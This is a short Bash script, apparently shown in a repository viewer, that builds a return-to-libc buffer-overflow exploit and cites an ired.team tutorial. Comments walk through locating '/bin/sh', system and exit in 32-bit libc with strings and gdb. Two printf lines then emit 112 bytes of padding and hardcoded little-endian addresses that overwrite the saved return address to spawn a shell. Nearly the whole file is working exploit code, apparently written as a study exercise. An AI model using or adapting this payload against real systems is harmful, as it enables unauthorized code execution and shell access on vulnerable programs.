32 lines
1.1 KiB
Bash
32 lines
1.1 KiB
Bash
|
#!/bin/bash
|
||
|
|
|
||
|
|
# sources: https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/return-to-libc-ret2libc
|
||
|
|
|
||
|
|
##### Exploit Creation Steps #####
|
||
|
|
###################################
|
||
|
|
|
||
|
|
# Step 1: Locate the offset of the string '/bin/sh' in libc
|
||
|
|
# Command: strings -a -t x /usr/lib32/libc-2.31.so | grep /bin/sh
|
||
|
|
# ---> 0x18c363
|
||
|
|
|
||
|
|
# Step 2: Determine the base address of libc in the ret2libc environment using gdb
|
||
|
|
# Command: info proc map
|
||
|
|
# ---> 0xf7dd4000
|
||
|
|
|
||
|
|
# Step 3: Find the addresses of 'system' and 'exit' functions using gdb
|
||
|
|
# Commands:
|
||
|
|
# p system -> 0xf7e15360
|
||
|
|
# p exit -> 0xf7e07ec0
|
||
|
|
###################################
|
||
|
|
|
||
|
|
############ Exploit ##############
|
||
|
|
# Fill the buffer with 'A's until the stored EIP is reached
|
||
|
|
printf "A%.0s" {1..112}
|
||
|
|
|
||
|
|
# Overwrite the stored EIP with the address of 'system' function
|
||
|
|
# Place the address of 'exit' function as the return address for 'system'
|
||
|
|
# Provide the argument for 'system' which is the address of the string '/bin/sh' (calculated as base libc + offset)
|
||
|
|
# All addresses are in little-endian format
|
||
|
|
printf "\x60\x53\xe1\xf7\xc0\x7e\xe0\xf7\x63\x03\xf6\xf7"
|
||
|
|
###################################
|